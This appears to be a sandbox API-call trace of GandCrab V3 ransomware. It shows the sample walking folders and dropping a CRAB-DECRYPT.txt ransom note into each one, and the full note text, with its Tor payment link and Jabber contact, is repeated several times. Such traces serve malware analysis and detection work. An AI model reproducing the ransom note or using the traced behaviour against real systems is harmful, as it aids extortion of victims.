	[0135.491] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.491] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.491] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.491] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.491] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.491] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.492] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.492] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.492] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.492] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\\\CRAB-DECRYPT.txt") returned 58
	[0135.492] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0135.494] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.494] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0135.494] CloseHandle (hObject=0x3ec) returned 1
	[0135.494] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.495] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\") returned 41
	[0135.495] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*"
	[0135.495] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x3248470
	[0135.495] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.495] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0135.495] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.495] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.495] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0135.495] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.495] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.495] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\CRAB-DECRYPT.txt"
	[0135.495] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.496] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\CRAB-DECRYPT.txt") returned 57
	[0135.496] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\CRAB-DECRYPT.txt") returned 57
	[0135.496] lstrlenW (lpString=".txt") returned 4
	[0135.496] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.496] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.496] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.498] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\CRAB-DECRYPT.txt") returned 57
	[0135.498] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\CRAB-DECRYPT.txt") returned 57
	[0135.498] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.498] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.498] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.498] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.498] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.498] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.498] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.498] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.498] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.498] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.498] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0135.498] lstrcmpW (lpString1="InputPersonalization", lpString2=".") returned 1
	[0135.498] lstrcmpW (lpString1="InputPersonalization", lpString2="..") returned 1
	[0135.498] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\", lpString2="InputPersonalization" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization"
	[0135.499] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\"
	[0135.499] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.499] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.499] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.499] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.499] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.500] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.500] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.500] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\\\CRAB-DECRYPT.txt") returned 79
	[0135.500] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\inputpersonalization\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0135.501] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.501] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0135.502] CloseHandle (hObject=0x3f0) returned 1
	[0135.502] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.502] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\") returned 62
	[0135.502] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\*") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\*"
	[0135.502] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0x32482b0
	[0135.502] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.502] FindNextFileW (in: hFindFile=0x32482b0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0135.502] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.502] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.502] FindNextFileW (in: hFindFile=0x32482b0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0135.502] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.502] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.503] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\CRAB-DECRYPT.txt"
	[0135.503] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.503] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\CRAB-DECRYPT.txt") returned 78
	[0135.503] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\CRAB-DECRYPT.txt") returned 78
	[0135.503] lstrlenW (lpString=".txt") returned 4
	[0135.503] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.503] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.503] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.504] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\CRAB-DECRYPT.txt") returned 78
	[0135.504] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\CRAB-DECRYPT.txt") returned 78
	[0135.504] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.504] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.504] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.504] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.504] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.504] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.504] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.504] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.504] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.504] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.504] FindNextFileW (in: hFindFile=0x32482b0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0135.504] lstrcmpW (lpString1="TrainedDataStore", lpString2=".") returned 1
	[0135.504] lstrcmpW (lpString1="TrainedDataStore", lpString2="..") returned 1
	[0135.504] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\", lpString2="TrainedDataStore" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore"
	[0135.505] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\"
	[0135.505] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.505] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.505] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.505] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.505] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.506] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.506] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.506] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\\\CRAB-DECRYPT.txt") returned 96
	[0135.506] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\inputpersonalization\\traineddatastore\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0135.507] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.507] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0135.507] CloseHandle (hObject=0x3f4) returned 1
	[0135.508] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.508] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\") returned 79
	[0135.508] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*"
	[0135.508] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0x3247f70
	[0135.508] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.508] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0135.508] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.508] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.508] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0135.508] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.508] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.508] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\CRAB-DECRYPT.txt"
	[0135.508] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.509] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\CRAB-DECRYPT.txt") returned 95
	[0135.509] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\CRAB-DECRYPT.txt") returned 95
	[0135.509] lstrlenW (lpString=".txt") returned 4
	[0135.509] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.509] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.509] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.509] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\CRAB-DECRYPT.txt") returned 95
	[0135.509] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\CRAB-DECRYPT.txt") returned 95
	[0135.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.510] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.510] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0135.510] FindClose (in: hFindFile=0x3247f70 | out: hFindFile=0x3247f70) returned 1
	[0135.510] FindNextFileW (in: hFindFile=0x32482b0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0135.510] FindClose (in: hFindFile=0x32482b0 | out: hFindFile=0x32482b0) returned 1
	[0135.510] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0135.510] lstrcmpW (lpString1="Windows", lpString2=".") returned 1
	[0135.510] lstrcmpW (lpString1="Windows", lpString2="..") returned 1
	[0135.511] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\", lpString2="Windows" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows"
	[0135.511] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\"
	[0135.511] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.511] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.511] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0135.511] lstrcmpW (lpString1="Windows Sidebar", lpString2=".") returned 1
	[0135.511] lstrcmpW (lpString1="Windows Sidebar", lpString2="..") returned 1
	[0135.511] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\", lpString2="Windows Sidebar" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar"
